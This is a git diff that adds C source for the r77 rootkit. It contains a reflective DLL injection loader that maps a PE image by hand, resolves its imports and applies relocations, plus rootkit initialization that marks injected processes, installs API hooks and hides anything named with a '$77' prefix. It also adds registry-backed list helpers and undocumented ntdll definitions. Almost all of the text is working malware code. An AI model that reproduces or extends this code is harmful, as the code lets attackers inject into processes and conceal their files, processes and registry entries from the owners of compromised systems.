+ PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
+ for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ libc_memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData);
+ }
+
+ // Read the import directory, call LoadLibraryA to import dependencies and patch the IAT.
+ PIMAGE_DATA_DIRECTORY importDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
+ if (importDirectory->Size)
+ {
+ for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++)
+ {
+ LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name));
+ if (module)
+ {
+ PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk);
+ PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk);
+
+ while (*importAddressTable)
+ {
+ if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
+ {
+ PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
+ PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+ *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD)));
+ }
+ else
+ {
+ importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable);
+ *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name);
+ }
+
+ thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR));
+ importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR));
+ }
+ }
+ }
+ }
+
+ // Patch relocations.
+ PIMAGE_DATA_DIRECTORY relocationDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
+ if (relocationDirectory->Size)
+ {
+ UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase);
+
+ for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock))
+ {
+ LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress;
+ PNT_IMAGE_RELOC relocations = (PNT_IMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION));
+
+ for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(NT_IMAGE_RELOC); i++)
+ {
+ if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase;
+ else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase;
+ else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase);
+ else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase);
+ }
+ }
+ }
+
+ // Get actual main entry point.
+ NT_DLLMAIN dllMain = (NT_DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint);
+
+ // Flush instruction cache to avoid stale instructions on modified code to be executed.
+ ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0);
+
+ // Call actual DllMain.
+ return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL);
+ }
+ }
+
+ // If loading failed, DllMain was not executed either. Return FALSE.
+ return FALSE;
+}
\ No newline at end of file
diff --git a/r77/ReflectiveDllMain.h b/r77/ReflectiveDllMain.h
new file mode 100644
index 0000000..30653b0
--- /dev/null
+++ b/r77/ReflectiveDllMain.h
@@ -0,0 +1,16 @@
+#include "r77mindef.h"
+#ifndef _REFLECTIVEDLLMAIN_H
+#define _REFLECTIVEDLLMAIN_H
+
+///
+/// Position independent shellcode that loads the DLL after it was written to the remote process memory.
+/// This is the main entry point for reflective DLL injection.
+///
+/// A pointer to the beginning of the DLL file.
+///
+/// If this function succeeds, the return value of DllMain;
+/// otherwise, FALSE.
+///
+__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase);
+
+#endif
\ No newline at end of file
diff --git a/r77/Rootkit.c b/r77/Rootkit.c
new file mode 100644
index 0000000..d5de289
--- /dev/null
+++ b/r77/Rootkit.c
@@ -0,0 +1,109 @@
+#include "Rootkit.h"
+#include "Hooks.h"
+#include "Config.h"
+#include "r77def.h"
+#include
+
+BOOL InitializeRootkit(HINSTANCE module)
+{
+ // If the process starts with $77, do not load r77.
+ WCHAR executablePath[MAX_PATH + 1];
+ if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE;
+ if (HasPrefix(PathFindFileNameW(executablePath))) return FALSE;
+
+ // Write the r77 header.
+ if (!WriteR77Header()) return FALSE;
+
+ if (!RootkitInitialized)
+ {
+ RootkitInitialized = TRUE;
+ Module = module;
+
+ // Initialize configuration system.
+ InitializeConfig();
+
+ // Attach hooks.
+ InitializeHooks();
+ }
+
+ return TRUE;
+}
+VOID UninitializeRootkit()
+{
+ if (RootkitInitialized)
+ {
+ RootkitInitialized = FALSE;
+
+ // Remove the r77 header.
+ RemoveR77Header();
+
+ // Uninitialize configuration system.
+ UninitializeConfig();
+
+ // Detach hooks.
+ UninitializeHooks();
+ }
+}
+static VOID DetachRootkit()
+{
+ UninitializeRootkit();
+ FreeLibraryAndExitThread(Module, 0);
+}
+
+static BOOL WriteR77Header()
+{
+ BOOL result = FALSE;
+
+ // Store the r77 header in the main module.
+ LPBYTE module = (LPBYTE)GetModuleHandleW(NULL);
+ if (module)
+ {
+ // The r77 header is written over the DOS stub.
+ LPWORD signature = (LPWORD) & module[sizeof(IMAGE_DOS_HEADER)];
+
+ // If this process already has an r77 signature, indicate that the DLL should be detached by returning false.
+ if (*signature != R77_SIGNATURE && *signature != R77_SERVICE_SIGNATURE && *signature != R77_HELPER_SIGNATURE)
+ {
+ DWORD oldProtect;
+ if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect))
+ {
+ // The current process is now marked as injected and therefore, cannot be injected again.
+ *signature = R77_SIGNATURE;
+
+ // Write a function pointer to DetachRootkit() that can be invoked using NtCreateThreadEx to detach r77 from this process.
+ *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = (DWORD64)DetachRootkit;
+
+ VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect);
+ result = TRUE;
+ }
+ }
+ }
+
+ return result;
+}
+static VOID RemoveR77Header()
+{
+ LPBYTE module = (LPBYTE)GetModuleHandleW(NULL);
+ if (module)
+ {
+ DWORD oldProtect;
+ if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect))
+ {
+ // Remove the r77 header by overwriting the DOS stub.
+ // Even if this sequence of bytes doesn't match the original DOS stub, it does not affect the process.
+ *(LPWORD)&module[sizeof(IMAGE_DOS_HEADER)] = 0x1f0e;
+ *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = 0xb821cd09b4000eba;
+
+ VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect);
+ }
+ }
+}
+
+BOOL HasPrefix(LPCWSTR str)
+{
+ return str && !StrCmpNIW(str, HIDE_PREFIX, HIDE_PREFIX_LENGTH);
+}
+BOOL HasPrefixU(UNICODE_STRING str)
+{
+ return str.Buffer && str.Length / sizeof(WCHAR) >= HIDE_PREFIX_LENGTH && !StrCmpNIW(str.Buffer, HIDE_PREFIX, HIDE_PREFIX_LENGTH);
+}
\ No newline at end of file
diff --git a/r77/Rootkit.h b/r77/Rootkit.h
new file mode 100644
index 0000000..059ebb9
--- /dev/null
+++ b/r77/Rootkit.h
@@ -0,0 +1,60 @@
+#include "r77mindef.h"
+#ifndef _ROOTKIT_H
+#define _ROOTKIT_H
+
+static BOOL RootkitInitialized;
+static HINSTANCE Module;
+
+///
+/// Initializes r77, writes r77 header and installs hooks.
+/// This function returns FALSE, if r77 is already injected, or if this process is either the r77 service or a helper process, or the process starts with $77.
+///
+/// The module of the injected DLL.
+///
+/// TRUE, if r77 was successfully loaded;
+/// otherwise, FALSE.
+///
+BOOL InitializeRootkit(HINSTANCE module);
+///
+/// Detaches r77 from this process.
+///
+VOID UninitializeRootkit();
+///
+/// A function that can be invoked using NtCreateThreadEx to detach r77 from this process.
+/// The address of this function is written to the r77 header.
+///
+static VOID DetachRootkit();
+
+///
+/// Writes the r77 header to this process.
+///
+///
+/// TRUE, if the header was written and r77 can run;
+/// FALSE, if r77 should detach from this process.
+///
+static BOOL WriteR77Header();
+///
+/// Removes the r77 header from this process.
+///
+static VOID RemoveR77Header();
+
+///
+/// Determines whether a string is hidden by prefix.
+///
+/// The unicode string to be checked.
+///
+/// TRUE, if this string is hidden by prefix;
+/// otherwise, FALSE.
+///
+BOOL HasPrefix(LPCWSTR str);
+///
+/// Determines whether a string is hidden by prefix.
+///
+/// The unicode string to be checked.
+///
+/// TRUE, if this string is hidden by prefix;
+/// otherwise, FALSE.
+///
+BOOL HasPrefixU(UNICODE_STRING str);
+
+#endif
\ No newline at end of file
diff --git a/src/r77/detours.h b/r77/detours.h
similarity index 100%
rename from src/r77/detours.h
rename to r77/detours.h
diff --git a/src/r77/r77.cpp b/r77/r77.c
similarity index 70%
rename from src/r77/r77.cpp
rename to r77/r77.c
index e47f156..a7d34c5 100644
--- a/src/r77/r77.cpp
+++ b/r77/r77.c
@@ -1,10 +1,12 @@
-#include "r77.h"
+#include "r77mindef.h"
+#include "Rootkit.h"
+#include "ReflectiveDllMain.h"
BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
- if (!Rootkit::Initialize(module))
+ if (!InitializeRootkit(module))
{
// If the rootkit could not initialize, is already injected, or not eligible for this process, detach the DLL.
return FALSE;
@@ -12,7 +14,7 @@ BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved)
}
else if (reason == DLL_PROCESS_DETACH)
{
- Rootkit::Shutdown();
+ UninitializeRootkit();
}
return TRUE;
diff --git a/r77/r77.vcxitems b/r77/r77.vcxitems
new file mode 100644
index 0000000..2dfe4c9
--- /dev/null
+++ b/r77/r77.vcxitems
@@ -0,0 +1,30 @@
+
+
+
+ $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
+ true
+ {6e4bb100-c3c9-4cf7-a637-08c2482c6b94}
+
+
+
+ %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/r77api/clist.c b/r77api/clist.c
new file mode 100644
index 0000000..0cf70a6
--- /dev/null
+++ b/r77api/clist.c
@@ -0,0 +1,186 @@
+#include "clist.h"
+#include "r77runtime.h"
+#include
+
+PINTEGER_LIST CreateIntegerList()
+{
+ PINTEGER_LIST list = NEW(INTEGER_LIST);
+ list->Count = 0;
+ list->Capacity = 16;
+ list->Values = NEW_ARRAY(ULONG, list->Capacity);
+ return list;
+}
+VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key)
+{
+ DWORD count;
+ if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
+ {
+ WCHAR valueName[100];
+
+ for (DWORD i = 0; i < count; i++)
+ {
+ DWORD valueNameLength = 100;
+ DWORD type;
+ DWORD value;
+ DWORD valueSize = sizeof(DWORD);
+
+ if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)&value, &valueSize) == ERROR_SUCCESS && type == REG_DWORD && !IntegerListContains(list, value))
+ {
+ IntegerListAdd(list, value);
+ }
+ }
+ }
+}
+VOID DeleteIntegerList(PINTEGER_LIST list)
+{
+ FREE(list->Values);
+ libc_memset(list, 0, sizeof(INTEGER_LIST));
+ FREE(list);
+}
+VOID IntegerListAdd(PINTEGER_LIST list, ULONG value)
+{
+ if (list->Count == list->Capacity)
+ {
+ list->Capacity += 16;
+ PULONG newValues = NEW_ARRAY(ULONG, list->Capacity);
+ libc_memcpy(newValues, list->Values, list->Count * sizeof(ULONG));
+
+ PULONG oldValues = list->Values;
+ list->Values = newValues;
+ FREE(oldValues);
+ }
+
+ list->Values[list->Count++] = value;
+}
+BOOL IntegerListContains(PINTEGER_LIST list, ULONG value)
+{
+ for (DWORD i = 0; i < list->Count; i++)
+ {
+ if (list->Values[i] == value) return TRUE;
+ }
+
+ return FALSE;
+}
+BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB)
+{
+ if (listA == listB)
+ {
+ return TRUE;
+ }
+ else if (listA == NULL || listB == NULL)
+ {
+ return FALSE;
+ }
+ else if (listA->Count != listB->Count)
+ {
+ return FALSE;
+ }
+ else
+ {
+ for (ULONG i = 0; i < listA->Count; i++)
+ {
+ if (listA->Values[i] != listB->Values[i]) return FALSE;
+ }
+
+ return TRUE;
+ }
+}
+
+PSTRING_LIST CreateStringList(BOOL ignoreCase)
+{
+ PSTRING_LIST list = NEW(STRING_LIST);
+ list->Count = 0;
+ list->Capacity = 16;
+ list->IgnoreCase = ignoreCase;
+ list->Values = NEW_ARRAY(LPWSTR, list->Capacity);
+ return list;
+}
+VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength)
+{
+ DWORD count;
+ if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
+ {
+ WCHAR valueName[100];
+ PWCHAR value = NEW_ARRAY(WCHAR, maxStringLength + 1);
+
+ for (DWORD i = 0; i < count; i++)
+ {
+ DWORD valueNameLength = 100;
+ DWORD type;
+ DWORD valueSize = maxStringLength;
+
+ if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS && type == REG_SZ && !StringListContains(list, value))
+ {
+ StringListAdd(list, value);
+ }
+ }
+
+ FREE(value);
+ }
+}
+VOID DeleteStringList(PSTRING_LIST list)
+{
+ for (ULONG i = 0; i < list->Count; i++)
+ {
+ FREE(list->Values[i]);
+ }
+
+ FREE(list->Values);
+ libc_memset(list, 0, sizeof(STRING_LIST));
+ FREE(list);
+}
+VOID StringListAdd(PSTRING_LIST list, LPCWSTR value)
+{
+ if (value)
+ {
+ if (list->Count == list->Capacity)
+ {
+ list->Capacity += 16;
+ LPWSTR *newValues = NEW_ARRAY(LPWSTR, list->Capacity);
+ libc_memcpy(newValues, list->Values, list->Count * sizeof(LPWSTR));
+
+ LPWSTR *oldValues = list->Values;
+ list->Values = newValues;
+ FREE(oldValues);
+ }
+
+ list->Values[list->Count] = NEW_ARRAY(WCHAR, lstrlenW(value) + 1);
+ lstrcpyW(list->Values[list->Count++], value);
+ }
+}
+BOOL StringListContains(PSTRING_LIST list, LPCWSTR value)
+{
+ if (value)
+ {
+ for (DWORD i = 0; i < list->Count; i++)
+ {
+ if (list->IgnoreCase ? !StrCmpIW(list->Values[i], value) : !StrCmpW(list->Values[i], value)) return TRUE;
+ }
+ }
+
+ return FALSE;
+}
+BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB)
+{
+ if (listA == listB)
+ {
+ return TRUE;
+ }
+ else if (listA == NULL || listB == NULL)
+ {
+ return FALSE;
+ }
+ else if (listA->Count != listB->Count)
+ {
+ return FALSE;
+ }
+ else
+ {
+ for (ULONG i = 0; i < listA->Count; i++)
+ {
+ if (listA->IgnoreCase && listB->IgnoreCase ? StrCmpIW(listA->Values[i], listB->Values[i]) : StrCmpW(listA->Values[i], listB->Values[i])) return FALSE;
+ }
+
+ return TRUE;
+ }
+}
\ No newline at end of file
diff --git a/r77api/clist.h b/r77api/clist.h
new file mode 100644
index 0000000..93d2147
--- /dev/null
+++ b/r77api/clist.h
@@ -0,0 +1,141 @@
+#include "r77mindef.h"
+#ifndef _CLIST_H
+#define _CLIST_H
+
+///
+/// Defines a collection of ULONG values.
+///
+typedef struct _INTEGER_LIST
+{
+ ///
+ /// The number of ULONG values in this list.
+ ///
+ DWORD Count;
+ ///
+ /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added.
+ ///
+ DWORD Capacity;
+ ///
+ /// A buffer that stores the ULONG values in this list.
+ ///
+ PULONG Values;
+} INTEGER_LIST, *PINTEGER_LIST;
+
+///
+/// Defines a collection of strings.
+///
+typedef struct _STRING_LIST
+{
+ ///
+ /// The number of strings in this list.
+ ///
+ DWORD Count;
+ ///
+ /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added.
+ ///
+ DWORD Capacity;
+ ///
+ /// TRUE to treat strings as case insensitive.
+ ///
+ BOOL IgnoreCase;
+ ///
+ /// A buffer that stores the strings in this list.
+ ///
+ LPWSTR *Values;
+} STRING_LIST, *PSTRING_LIST;
+
+///
+/// Creates a new INTEGER_LIST.
+///
+///
+/// A pointer to the newly created INTEGER_LIST structure.
+///
+PINTEGER_LIST CreateIntegerList();
+///
+/// Loads DWORD values from the specified registry key into the specified INTEGER_LIST structure.
+/// Values that are already in the list are not added.
+///
+/// The INTEGER_LIST structure to add the values to.
+/// The registry key to read DWORD values from.
+VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key);
+///
+/// Deletes the specified INTEGER_LIST structure.
+///
+/// The INTEGER_LIST structure to delete.
+VOID DeleteIntegerList(PINTEGER_LIST list);
+///
+/// Adds a ULONG value to the specified INTEGER_LIST.
+///
+/// The INTEGER_LIST structure to add the ULONG value to.
+/// The ULONG value to add to the list.
+VOID IntegerListAdd(PINTEGER_LIST list, ULONG value);
+///
+/// Determines whether the ULONG value is in the specified INTEGER_LIST.
+///
+/// The INTEGER_LIST structure to search.
+/// The ULONG value to check.
+///
+/// TRUE, if the specified ULONG value is in the specified INTEGER_LIST;
+/// otherwise, FALSE.
+///
+BOOL IntegerListContains(PINTEGER_LIST list, ULONG value);
+///
+/// Compares two INTEGER_LIST structures for equality.
+///
+/// The first INTEGER_LIST structure.
+/// The second INTEGER_LIST structure.
+///
+/// TRUE, if both INTEGER_LIST structures are equal;
+/// otherwise, FALSE.
+///
+BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB);
+
+///
+/// Creates a new STRING_LIST.
+///
+/// TRUE to treat strings as case insensitive.
+///
+/// A pointer to the newly created STRING_LIST structure.
+///
+PSTRING_LIST CreateStringList(BOOL ignoreCase);
+///
+/// Loads REG_SZ values from the specified registry key into the specified STRING_LIST structure.
+/// Strings that are already in the list are not added.
+///
+/// The STRING_LIST structure to add the strings to.
+/// The registry key to read REG_SZ values from.
+/// The maximum length of REG_SZ values that are read from the registry key.
+VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength);
+///
+/// Deletes the specified STRING_LIST structure.
+///
+/// The STRING_LIST structure to delete.
+VOID DeleteStringList(PSTRING_LIST list);
+///
+/// Adds a string to the specified STRING_LIST.
+///
+/// The STRING_LIST structure to add the string to.
+/// The string to add to the list.
+VOID StringListAdd(PSTRING_LIST list, LPCWSTR value);
+///
+/// Determines whether the string is in the specified STRING_LIST.
+///
+/// The STRING_LIST structure to search.
+/// The string to check.
+///
+/// TRUE, if the specified string is in the specified STRING_LIST;
+/// otherwise, FALSE.
+///
+BOOL StringListContains(PSTRING_LIST list, LPCWSTR value);
+///
+/// Compares two STRING_LIST structures for equality.
+///
+/// The first STRING_LIST structure.
+/// The second STRING_LIST structure.
+///
+/// TRUE, if both STRING_LIST structures are equal;
+/// otherwise, FALSE.
+///
+BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB);
+
+#endif
\ No newline at end of file
diff --git a/r77api/ntdll.h b/r77api/ntdll.h
new file mode 100644
index 0000000..0a36926
--- /dev/null
+++ b/r77api/ntdll.h
@@ -0,0 +1,652 @@
+#include "r77mindef.h"
+#ifndef _NTDLL_H
+#define _NTDLL_H
+
+#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L)
+
+#define SL_RESTART_SCAN 0x01
+#define SL_RETURN_SINGLE_ENTRY 0x02
+#define SL_INDEX_SPECIFIED 0x04
+#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08
+#define SL_NO_CURSOR_UPDATE 0x10
+
+#define DEVICE_NSI L"\\Device\\Nsi"
+#define IOCTL_NSI_GETALLPARAM 0x12001b
+
+typedef enum _NT_SYSTEM_INFORMATION_CLASS
+{
+ SystemProcessorInformation = 1,
+ SystemPathInformation = 4,
+ SystemCallCountInformation = 6,
+ SystemDeviceInformation,
+ SystemFlagsInformation = 9,
+ SystemCallTimeInformation,
+ SystemModuleInformation,
+ SystemLocksInformation,
+ SystemStackTraceInformation,
+ SystemPagedPoolInformation,
+ SystemNonPagedPoolInformation,
+ SystemHandleInformation,
+ SystemObjectInformation,
+ SystemPageFileInformation,
+ SystemVdmInstemulInformation,
+ SystemVdmBopInformation,
+ SystemFileCacheInformation,
+ SystemPoolTagInformation,
+ SystemDpcBehaviorInformation = 24,
+ SystemFullMemoryInformation,
+ SystemLoadGdiDriverInformation,
+ SystemUnloadGdiDriverInformation,
+ SystemTimeAdjustmentInformation,
+ SystemSummaryMemoryInformation,
+ SystemMirrorMemoryInformation,
+ SystemPerformanceTraceInformation,
+ SystemObsolete0,
+ SystemCrashDumpStateInformation = 34,
+ SystemKernelDebuggerInformation,
+ SystemContextSwitchInformation,
+ SystemExtendServiceTableInformation = 38,
+ SystemPrioritySeperation,
+ SystemVerifierAddDriverInformation,
+ SystemVerifierRemoveDriverInformation,
+ SystemProcessorIdleInformation,
+ SystemLegacyDriverInformation,
+ SystemCurrentTimeZoneInformation,
+ SystemTimeSlipNotification = 46,
+ SystemSessionCreate,
+ SystemSessionDetach,
+ SystemSessionInformation,
+ SystemRangeStartInformation,
+ SystemVerifierInformation,
+ SystemVerifierThunkExtend,
+ SystemSessionProcessInformation,
+ SystemLoadGdiDriverInSystemSpace,
+ SystemNumaProcessorMap,
+ SystemPrefetcherInformation,
+ SystemExtendedProcessInformation,
+ SystemRecommendedSharedDataAlignment,
+ SystemComPlusPackage,
+ SystemNumaAvailableMemory,
+ SystemProcessorPowerInformation,
+ SystemEmulationBasicInformation,
+ SystemEmulationProcessorInformation,
+ SystemExtendedHandleInformation,
+ SystemLostDelayedWriteInformation,
+ SystemBigPoolInformation,
+ SystemSessionPoolTagInformation,
+ SystemSessionMappedViewInformation,
+ SystemHotpatchInformation,
+ SystemObjectSecurityMode,
+ SystemWatchdogTimerHandler,
+ SystemWatchdogTimerInformation,
+ SystemLogicalProcessorInformation,
+ SystemWow64SharedInformationObsolete,
+ SystemRegisterFirmwareTableInformationHandler,
+ SystemFirmwareTableInformation,
+ SystemModuleInformationEx,
+ SystemVerifierTriageInformation,
+ SystemSuperfetchInformation,
+ SystemMemoryListInformation,
+ SystemFileCacheInformationEx,
+ SystemThreadPriorityClientIdInformation,
+ SystemProcessorIdleCycleTimeInformation,
+ SystemVerifierCancellationInformation,
+ SystemProcessorPowerInformationEx,
+ SystemRefTraceInformation,
+ SystemSpecialPoolInformation,
+ SystemProcessIdInformation,
+ SystemErrorPortInformation,
+ SystemBootEnvironmentInformation,
+ SystemHypervisorInformation,
+ SystemVerifierInformationEx,
+ SystemTimeZoneInformation,
+ SystemImageFileExecutionOptionsInformation,
+ SystemCoverageInformation,
+ SystemPrefetchPatchInformation,
+ SystemVerifierFaultsInformation,
+ SystemSystemPartitionInformation,
+ SystemSystemDiskInformation,
+ SystemProcessorPerformanceDistribution,
+ SystemNumaProximityNodeInformation,
+ SystemDynamicTimeZoneInformation,
+ SystemProcessorMicrocodeUpdateInformation = 104,
+ SystemProcessorBrandString,
+ SystemVirtualAddressInformation,
+ SystemLogicalProcessorAndGroupInformation,
+ SystemProcessorCycleTimeInformation,
+ SystemStoreInformation,
+ SystemRegistryAppendString,
+ SystemAitSamplingValue,
+ SystemVhdBootInformation,
+ SystemCpuQuotaInformation,
+ SystemNativeBasicInformation,
+ SystemErrorPortTimeouts,
+ SystemLowPriorityIoInformation,
+ SystemTpmBootEntropyInformation,
+ SystemVerifierCountersInformation,
+ SystemPagedPoolInformationEx,
+ SystemSystemPtesInformationEx,
+ SystemNodeDistanceInformation,
+ SystemAcpiAuditInformation,
+ SystemBasicPerformanceInformation,
+ SystemQueryPerformanceCounterInformation,
+ SystemSessionBigPoolInformation,
+ SystemBootGraphicsInformation,
+ SystemScrubPhysicalMemoryInformation,
+ SystemBadPageInformation,
+ SystemProcessorProfileControlArea,
+ SystemCombinePhysicalMemoryInformation,
+ SystemEntropyInterruptTimingInformation,
+ SystemConsoleInformation,
+ SystemPlatformBinaryInformation,
+ SystemHypervisorProcessorCountInformation = 135,
+ SystemDeviceDataInformation,
+ SystemDeviceDataEnumerationInformation,
+ SystemMemoryTopologyInformation,
+ SystemMemoryChannelInformation,
+ SystemBootLogoInformation,
+ SystemProcessorPerformanceInformationEx,
+ SystemCriticalProcessErrorLogInformation,
+ SystemSecureBootPolicyInformation,
+ SystemPageFileInformationEx,
+ SystemSecureBootInformation,
+ SystemEntropyInterruptTimingRawInformation,
+ SystemPortableWorkspaceEfiLauncherInformation,
+ SystemFullProcessInformation,
+ SystemKernelDebuggerInformationEx,
+ SystemBootMetadataInformation,
+ SystemSoftRebootInformation,
+ SystemElamCertificateInformation,
+ SystemOfflineDumpConfigInformation,
+ SystemProcessorFeaturesInformation,
+ SystemRegistryReconciliationInformation,
+ SystemEdidInformation,
+ SystemManufacturingInformation,
+ SystemEnergyEstimationConfigInformation,
+ SystemHypervisorDetailInformation,
+ SystemProcessorCycleStatsInformation,
+ SystemVmGenerationCountInformation,
+ SystemTrustedPlatformModuleInformation,
+ SystemKernelDebuggerFlags,
+ SystemCodeIntegrityPolicyInformation,
+ SystemIsolatedUserModeInformation,
+ SystemHardwareSecurityTestInterfaceResultsInformation,
+ SystemSingleModuleInformation,
+ SystemAllowedCpuSetsInformation,
+ SystemVsmProtectionInformation,
+ SystemInterruptCpuSetsInformation,
+ SystemSecureBootPolicyFullInformation,
+ SystemCodeIntegrityPolicyFullInformation,
+ SystemAffinitizedInterruptProcessorInformation,
+ SystemRootSiloInformation,
+ SystemCpuSetInformation,
+ SystemCpuSetTagInformation,
+ SystemWin32WerStartCallout,
+ SystemSecureKernelProfileInformation,
+ SystemCodeIntegrityPlatformManifestInformation,
+ SystemInterruptSteeringInformation,
+ SystemSupportedProcessorArchitectures,
+ SystemMemoryUsageInformation,
+ SystemCodeIntegrityCertificateInformation,
+ SystemPhysicalMemoryInformation,
+ SystemControlFlowTransition,
+ SystemKernelDebuggingAllowed,
+ SystemActivityModerationExeState,
+ SystemActivityModerationUserSettings,
+ SystemCodeIntegrityPoliciesFullInformation,
+ SystemCodeIntegrityUnlockInformation,
+ SystemIntegrityQuotaInformation,
+ SystemFlushInformation,
+ SystemProcessorIdleMaskInformation,
+ SystemSecureDumpEncryptionInformation,
+ SystemWriteConstraintInformation,
+ SystemKernelVaShadowInformation,
+ SystemHypervisorSharedPageInformation,
+ SystemFirmwareBootPerformanceInformation,
+ SystemCodeIntegrityVerificationInformation,
+ SystemFirmwarePartitionInformation,
+ SystemSpeculationControlInformation,
+ SystemDmaGuardPolicyInformation,
+ SystemEnclaveLaunchControlInformation,
+ SystemWorkloadAllowedCpuSetsInformation,
+ SystemCodeIntegrityUnlockModeInformation,
+ SystemLeapSecondInformation,
+ SystemFlags2Information,
+ SystemSecurityModelInformation,
+ SystemCodeIntegritySyntheticCacheInformation,
+ SystemFeatureConfigurationInformation,
+ SystemFeatureConfigurationSectionInformation,
+ SystemFeatureUsageSubscriptionInformation,
+ SystemSecureSpeculationControlInformation
+} NT_SYSTEM_INFORMATION_CLASS;
+
+typedef struct _NT_SYSTEM_PROCESS_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG NumberOfThreads;
+ LARGE_INTEGER WorkingSetPrivateSize;
+ ULONG HardFaultCount;
+ ULONG NumberOfThreadsHighWatermark;
+ ULONGLONG CycleTime;
+ LARGE_INTEGER CreateTime;
+ LARGE_INTEGER UserTime;
+ LARGE_INTEGER KernelTime;
+ UNICODE_STRING ImageName;
+ ULONG BasePriority;
+ HANDLE ProcessId;
+ HANDLE InheritedFromProcessId;
+} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION;
+
+typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
+{
+ LARGE_INTEGER IdleTime;
+ LARGE_INTEGER KernelTime;
